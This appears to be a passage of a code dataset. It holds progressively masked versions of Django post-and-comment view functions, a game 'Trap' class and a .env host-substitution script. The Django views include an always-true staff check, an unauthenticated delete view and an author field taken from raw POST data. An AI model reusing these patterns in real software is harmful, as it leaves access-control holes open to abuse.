instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n",
"<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\ndef temp_allpost(request):\n obj = Post.objects.all()\n context = {'obj': obj}\n return render(request, 'post/All_Post.html', context)\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n",
"<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\ndef post_delete(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n instance.delete()\n messages.success(request, 'Successfully deleted')\n return render(request, 'post/All_Post_Students.html', {})\n",
"<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\ndef post_update(request, id=None):\n instance = get_object_or_404(Post, id=id)\n form = PostForm(request.POST or None, instance=instance)\n if form.is_valid():\n instance = form.save(commit=False)\n instance.save()\n messages.success(request, \"<a href='#'>Item </a>Saved\", extra_tags=\n 'html_safe')\n return HttpResponseRedirect(instance.get_absolute_url())\n context = {'title': instance.title, 'instance': instance, 'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n\n\ndef post_details(request, id=None):\n instance = get_object_or_404(Post, id=id)\n content_type = ContentType.objects.get_for_model(Post)\n obj_id = instance.id\n comments = Comment.objects.filter(content_type=content_type, object_id=\n obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = Comment.objects.get_or_create(user=request.\n user, content_type=content_type, object_id=obj_id, content=\n content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/Posts.html', context)\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n\n\ndef post_create(request):\n form = PostForm(request.POST or None, request.FILES or None)\n if request.method == 'POST':\n user = request.POST.get('user')\n title = request.POST.get('title')\n content = request.POST.get('content')\n PostStudent.objects.create(user=user, title=title, content=content)\n messages.success(request, 'Successfully Posted')\n context = {'form': form}\n return render(request, 'post/create_post.html', context)\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n<function token>\n\n\ndef temp_post(request):\n return render(request, 'post/Posts.html', {})\n\n\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef allpoststudents(request):\n if not request.user.is_staff or request.user.is_staff:\n obj = PostStudent.objects.all().order_by('-timestamp')\n query = request.GET.get('q')\n if query:\n obj = obj.filter(Q(title__icontains=query) | Q(content__icontains=\n query) | Q(user__icontains=query) | Q(timestamp__icontains=query)\n ).distinct()\n context = {'obj': obj}\n return render(request, 'post/All_Post_Students.html', context)\n\n\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef post_details_student(request, id=None):\n instance = get_object_or_404(PostStudent, id=id)\n content_type = ContentType.objects.get_for_model(PostStudent)\n obj_id = instance.id\n comments = CommentStudent.objects.filter(content_type=content_type,\n object_id=obj_id)\n initial_data = {'content_type': content_type, 'object_id': instance.id}\n form = CommentForm(request.POST or None, initial=initial_data)\n if form.is_valid():\n c_type = form.cleaned_data.get('content_type')\n content_type = ContentType.objects.get(model=c_type)\n obj_id = form.cleaned_data.get('object_id')\n content_data = form.cleaned_data.get('content')\n parent_obj = None\n try:\n parent_id = int(request.POST.get('parent_id'))\n except:\n parent_id = None\n if parent_id:\n parent_qs = Comment.objects.filter(id=parent_id)\n if parent_qs.exists():\n parent_obj = parent_qs.first()\n new_comment, created = CommentStudent.objects.get_or_create(user=\n request.user, content_type=content_type, object_id=obj_id,\n content=content_data, parent=parent_obj)\n context = {'title': instance.title, 'instance': instance, 'comments':\n comments, 'form': form, 'obj_id': obj_id}\n return render(request, 'post/post_details_student.html', context)\n\n\n<function token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n"
] | false |
9,925 |
f2a94f6bfe86af439a8248b40732340c45d89b93
|
# -------------------------------------------------------------------------
# File: mb_trap.py
# Created: Tue Feb 7 20:51:32 2006
# -------------------------------------------------------------------------
import random
import mb_io
import mb_subs
from mb_go import GameObject
class Trap(GameObject):
"""
This class is used to create traps (or blessing objects) that exist
in the arena on their own but that are not subject to attack.
The only real attributes traps have is different types of attacks that
they can carry out on combatants in the arena.
"""
def __init__(self, gamedir, filename = None):
self.attacks = list()
self.x = 0
self.y = 0
self.radius = 0
self.is_first_round = True
GameObject.__init__(self, gamedir, filename)
def read_in_config(self, filename):
parser = GameObject.read_in_config(self, filename)
if parser.has_section('attacks'):
self.attacks = mb_subs.actions(parser.items('attacks'))
del parser
def trigger_trap(self, victim):
attac = random.choice(self.attacks)
attack = attac[0]
damage = attac[1]
victim.health = mb_subs.subtract_to_floor(victim.health, damage)
if damage >= 0:
commentary = '(OH NO!) %s' % (attack % victim.name)
else:
commentary = '(WOW!) %s' % (attack % victim.name)
return commentary, damage
|
[
"# -------------------------------------------------------------------------\n# File: mb_trap.py\n# Created: Tue Feb 7 20:51:32 2006\n# -------------------------------------------------------------------------\n\nimport random\n\nimport mb_io\nimport mb_subs\nfrom mb_go import GameObject\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n def __init__(self, gamedir, filename = None):\n\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n",
"import random\nimport mb_io\nimport mb_subs\nfrom mb_go import GameObject\n\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n",
"<import token>\n\n\nclass Trap(GameObject):\n \"\"\"\n This class is used to create traps (or blessing objects) that exist\n in the arena on their own but that are not subject to attack.\n The only real attributes traps have is different types of attacks that\n they can carry out on combatants in the arena.\n\n \"\"\"\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n",
"<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n\n def read_in_config(self, filename):\n parser = GameObject.read_in_config(self, filename)\n if parser.has_section('attacks'):\n self.attacks = mb_subs.actions(parser.items('attacks'))\n del parser\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n",
"<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n <function token>\n\n def trigger_trap(self, victim):\n attac = random.choice(self.attacks)\n attack = attac[0]\n damage = attac[1]\n victim.health = mb_subs.subtract_to_floor(victim.health, damage)\n if damage >= 0:\n commentary = '(OH NO!) %s' % (attack % victim.name)\n else:\n commentary = '(WOW!) %s' % (attack % victim.name)\n return commentary, damage\n",
"<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n\n def __init__(self, gamedir, filename=None):\n self.attacks = list()\n self.x = 0\n self.y = 0\n self.radius = 0\n self.is_first_round = True\n GameObject.__init__(self, gamedir, filename)\n <function token>\n <function token>\n",
"<import token>\n\n\nclass Trap(GameObject):\n <docstring token>\n <function token>\n <function token>\n <function token>\n",
"<import token>\n<class token>\n"
] | false |
9,926 |
d6af9a75fbe8bdf1a81a352cee71ac81fb373b86
|
import os
import sys
import socket
__target__ = '${EXTERNAL_HOST}'
sources = {}
def process_the_source(fname, dest=None, host_ip=None, verbose=False):
assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().'
the_lines = []
with open(fname, 'r') as fIn:
for line in fIn:
l = line.rstrip()
l = l.replace(__target__, host_ip)
the_lines.append(l)
with open(dest, 'w') as fOut:
for l in the_lines:
print(l, file=fOut)
assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().'
if (__name__ == '__main__'):
is_verbose = True
root = sys.argv[1]
host_ip = sys.argv[2]
assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.'
assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().'
sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)
if (is_verbose):
print('BEGIN:')
for s,d in sources.items():
if (is_verbose):
print('{} -> {}'.format(s, d))
assert os.path.exists(s) and os.path.isfile(s), 'Cannot find "{}" so cannot proceed.'.format(s)
process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)
if (is_verbose):
print('END!!!')
if (is_verbose):
print()
print('Done.')
|
[
"import os\nimport sys\nimport socket\n\n__target__ = '${EXTERNAL_HOST}'\n\nsources = {}\n\ndef process_the_source(fname, dest=None, host_ip=None, verbose=False):\n assert (os.path.exists(fname) and os.path.isfile(fname)), 'Cannot proceed without the fname in process_the_source().'\n the_lines = []\n with open(fname, 'r') as fIn:\n for line in fIn:\n l = line.rstrip()\n l = l.replace(__target__, host_ip)\n the_lines.append(l)\n with open(dest, 'w') as fOut:\n for l in the_lines:\n print(l, file=fOut)\n assert (os.path.exists(dest) and os.path.isfile(dest)), 'Cannot proceed without the dest file in process_the_source().'\n \n\nif (__name__ == '__main__'):\n is_verbose = True\n root = sys.argv[1]\n host_ip = sys.argv[2]\n assert (len(host_ip) > 0), 'Cannot proceed without the host ip address.'\n\n assert (os.path.exists(root) and os.path.isdir(root)), 'Cannot proceed without the root in process_the_source().'\n sources['{}/.env'.format(root)] = '{}/code/.env'.format(root)\n\n if (is_verbose):\n print('BEGIN:')\n for s,d in sources.items():\n if (is_verbose):\n print('{} -> {}'.format(s, d))\n assert os.path.exists(s) and os.path.isfile(s), 'Cannot find \"{}\" so cannot proceed.'.format(s)\n process_the_source(s, dest=d, host_ip=host_ip, verbose=is_verbose)\n if (is_verbose):\n print('END!!!')\n\n if (is_verbose):\n print()\n print('Done.')\n",
